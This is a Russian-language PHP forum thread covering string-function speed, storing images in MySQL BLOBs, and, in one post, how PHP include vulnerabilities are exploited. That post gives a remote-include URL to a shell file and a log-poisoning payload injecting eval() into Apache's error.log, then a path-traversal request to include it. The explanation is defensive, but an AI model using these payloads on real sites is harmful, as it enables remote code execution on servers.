Перейти к содержимому

Фотография

Вопросы по PHP


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 188

#41
T. Anre

T. Anre

    Data Miner

  • В доску свой
  • 2 327 сообщений

Да, медленней, и не тупого отрезания а копирования, причем у тебя не просто поиск вхождения(вхождение уже нам известно зачем искать, вот в чем вопрос) но еще и замена.

Все-таки фраза "тупое отрезание" очень хорошо характеризует substr().
  • 0

#42
Nik8.

Nik8.
  • Завсегдатай
  • 112 сообщений
ты про strpos?

Как думаешь что будет если в папке будет файл leviy.file.inc.php.bak


Я думаю strpos не вернет false :)

Еще раз говорю зачем искать вхождение, когда и так известно inc.php на конце файла, бери и сравнивай.

Кстати если ввести strpos думаю время теста до 5 сек поднимается)

Вобщем мне надоело спорить, тесты показали, использование substr быстрей str_replace, плюс эффективно решают поставленную задачу(отсев левых файлов, вывод контента) и все это одним циклом.

Что-то я сегодня много поработал, простые вещи не замечаю)))

Удачи ;)
  • 0

#43
T. Anre

T. Anre

    Data Miner

  • В доску свой
  • 2 327 сообщений

Тест максимально приближен к реальной ситуации,...

У тебя что в папке lang 500К файлов?
  • 0

#44
Nik8.

Nik8.
  • Завсегдатай
  • 112 сообщений
Это тест, массив большой, чтобы было ясно видно где быстрей.

пусть даже файлов будет 50, обратятся 10 000 раз будет как раз как в тесте теряем 3 секунды, процессорного времени.


Спокойной ночи.
  • 0

#45
MX_Master

MX_Master
  • Частый гость
  • 70 сообщений
Походу, тема эта немного неактуальна, а зря.

------ Про сканирование папки ------

Нужно делать один цикл WHILE, где внутри будет с помощью регулярных выражений проверяться каждое вхождение, также будут заносистья эти вхождения куда-ньть, можно в массив или файл.
  • 0

#46
p@R@dOx...

p@R@dOx...
  • Завсегдатай
  • 105 сообщений
Часто вижу предупреждения о нежелательности использования функции include. Поскольку ее наличае может повлечь легкий взлом сайта.
Кто-нибудь знаком с проблемой инклюда более детально? Как ее используют для взлома?
  • 0

#47
MX_Master

MX_Master
  • Частый гость
  • 70 сообщений

Кто-нибудь знаком с проблемой инклюда более детально? Как ее используют для взлома?

Я думаю, сначала нужно прогнать через все защиты свой скрипт и поставить его на сервере, потом нужно просто включить (include) любой главный файл сайта свой скрипт, вуаля - доступ получен. Конечно, я такие махинации предупрждаю обычно вставкой вверху во всех скриптах проверки, например на имя файла, в котором подключенный скрипт будет работать, ещё проверка на существование определённых констант.

Вот пример, который надо вписывать вверху всех подключаемых скриптов:

if
(
	!defined('SECRET_CONSTANT') OR
	SECRET_CONSTANT !== 'secret_constant_value' OR
	basename(__FILE__) != 'main_file.php'
)
{
	exit('F CK YOU B TCH');
}
:smoke:

Возможно будет ошибкой подключать какие нибудь HTML файлы, таким образом:

<body>
	<?php include('main_menu.html'); ?>
	<textarea>
		<?php include('license.txt'); ?>
	</textarea>
</body>

ведь эти файлы могут оказаться не тем, что мы думаем.
  • 0

#48
Nik8.

Nik8.
  • Завсегдатай
  • 112 сообщений
Часто вижу предупреждения о нежелательности использования функции include. Поскольку ее наличае может повлечь легкий взлом сайта.
Кто-нибудь знаком с проблемой инклюда более детально? Как ее используют для взлома?

Интересно где такие предупреждения пишут?

Сама по себе функция не опасна если ее применять прямыми руками.

Уязвимости связанные с include целиком вина ошибки разработчика, основная опасность это попадание сторонних данных которые клиент может передать в HTTP запросе, учитывая возможность PHP подключать удаленные файлы(можно отключить в конфигурации) в include, можно выполнить любой PHP код на стороне сервере, однако локальный инклюд не менее опасен.

Вот несколько примеров

1. скрипт
 include("$pagename.php");

Изначальная задумка состоит в том чтобы подгружать необходимую страницу расположенную на сервере в зависимости от параметра $pagename

Но никто не мешает передать в $pagename допустим http://remote.com/shell.txt?

Это называется удаленный инклюд.


2. скрипт
 include("./$pagename.php");

Удаленному инклюду мешает наличие ./ в начале строки
Но опять же есть много вариантов записи текста на сервер в какой либо файл, и ничто не мешает использовать это в качестве записи вебшелла, все зависит от фантазии, вот один из рабочих сценариев

Злоумышленник проходит по недействительной сыллке

http://host.com/<?eval($_GET['eval']);?>

В результате чего вызывает запись в error.log, который позже можно заинклюдить и делать все что вздумается.

script.php?pagename=../../../../../usr/local/apache/logs/error.log%00&eval=phpinfo();


Это называется локальный инклюд.

Из этого следует вывод: Не передавать в include параметры которые могут быть изменены удаленным пользователем, если их все же приходится передавать то максимально контролировать (preg_match).
  • 0

#49
MX_Master

MX_Master
  • Частый гость
  • 70 сообщений
Про прямые руки - это самое правильное решение в этом вопросе, точнее нельзя сказать.
  • 0

#50
Drushka

Drushka
  • В доску свой
  • 1 866 сообщений
По теме:
Если требуется просто отрезать от файла все что после " . ", то не проще сделать:

$filelist  = substr($file, 0, strpos($file, '.') );

Если есть файл 'lang.inc.php', то отобразит 'lang'. Тоже будет с любыми файлами.
  • 0

#51
p@R@dOx...

p@R@dOx...
  • Завсегдатай
  • 105 сообщений
Привет.
Кто пробовал графические файлы в базу загонять?

На основании найденного примера набросал код:
if(isset($_FILES['image']))
{
  // Если файл пришел, проферяем насколько он графический. )
  if(substr($_FILES['image']['type'], 0, 5)=='image')
	{
	// Читаем содержимое файла
	$image=file_get_contents($_FILES['image']['tmp_name']);
		 //Экранируем спец символы
	$image2=mysql_escape_string($image);
	}
}
$dbh->query("INSERT INTO ".TABLE_pic." (name, pic) VALUES ('$name', '$image2')");
}
Но чего-то не работает. (
Кто знает подскажите где ошибка.
  • 0

#52
Drushka

Drushka
  • В доску свой
  • 1 866 сообщений
А какое поле ты используешь для хранения картинки?
Для хранения таких данных используют Blob-поля.
  • 0

#53
p@R@dOx...

p@R@dOx...
  • Завсегдатай
  • 105 сообщений

А какое поле ты используешь для хранения картинки?
Для хранения таких данных используют Blob-поля.

TINYBLOB - Может хранить до 255 байт
BLOB может хранить до 64 килобайт информации
MEDIUMBLOB - до 16 мегабайт
LONGBLOB до 4 гигабайт

Я поставил mediumblob на случай войны. Но ноги еррора похоже растут из другого места... ;
  • 0

#54
p@R@dOx...

p@R@dOx...
  • Завсегдатай
  • 105 сообщений
Ругается на sql запрос:
Fatal error: Call to a member function on a non-object
  • 0

#55
Drushka

Drushka
  • В доску свой
  • 1 866 сообщений
Проверил твой код.
У меня заносит в базу.

Данная ошибка вылетает, когда не создан объект, скорее всего подключен класс для работы с БД, но объект не инициализирован. Такое ощющение, что $dbh не создана как класс
  • 0

#56
p@R@dOx...

p@R@dOx...
  • Завсегдатай
  • 105 сообщений

Данная ошибка вылетает, когда не создан объект, скорее всего подключен класс для работы с БД, но объект не инициализирован. Такое ощющение, что $dbh не создана как класс

Огромное тебе спасибо.

О Боги, даруйте мне внимательность! )

Сообщение отредактировал p@R@dOx...: 20.04.2007, 16:46:17

  • 0

#57
kornel

kornel
  • В доску свой
  • 9 069 сообщений
Народ, скажите, на кой ляд нужно в базе хранить картинки??? Вы собираетесь like '%sex%' делать?
В любом случае скорость чтения с файловой системы будет быстрее, чем из sql таблицы! Сохраните в базе имя, или индекс картинки, а она пусть на винте лежит. Всё надежнее будет.
  • 0

#58
milkfake

milkfake
  • Завсегдатай
  • 130 сообщений

Народ, скажите, на кой ляд нужно в базе хранить картинки??? Вы собираетесь like '%sex%' делать?
В любом случае скорость чтения с файловой системы будет быстрее, чем из sql таблицы! Сохраните в базе имя, или индекс картинки, а она пусть на винте лежит. Всё надежнее будет.


А почему скорость выше вне базы? База ведь тоже часть файловой системы....ну или разница будет уж совсем ничтожной...Есть материалы почитать на эту тему или тесты какие-нить?
  • 0

#59
T. Anre

T. Anre

    Data Miner

  • В доску свой
  • 2 327 сообщений

А почему скорость выше вне базы?

Потому что нет посредника ввиде СУБД.
  • 0

#60
kornel

kornel
  • В доску свой
  • 9 069 сообщений

А почему скорость выше вне базы? База ведь тоже часть файловой системы....ну или разница будет уж совсем ничтожной...Есть материалы почитать на эту тему или тесты какие-нить?

Если не рассматривать всякие маркетинговые навороты, где дешевле товар купить? У производителя или у перепродавца? Так вот, mysql в данном случае выступает в роли перепродавца, при этом ни дает ни какой дополнительный сервис.
  • 0


Количество пользователей, читающих эту тему: 1

пользователей: 0, неизвестных прохожих: 1, скрытых пользователей: 0

Размещение рекламы на сайте     Предложения о сотрудничестве     Служба поддержки пользователей

© 2011-2022 vse.kz. При любом использовании материалов Форума ссылка на vse.kz обязательна.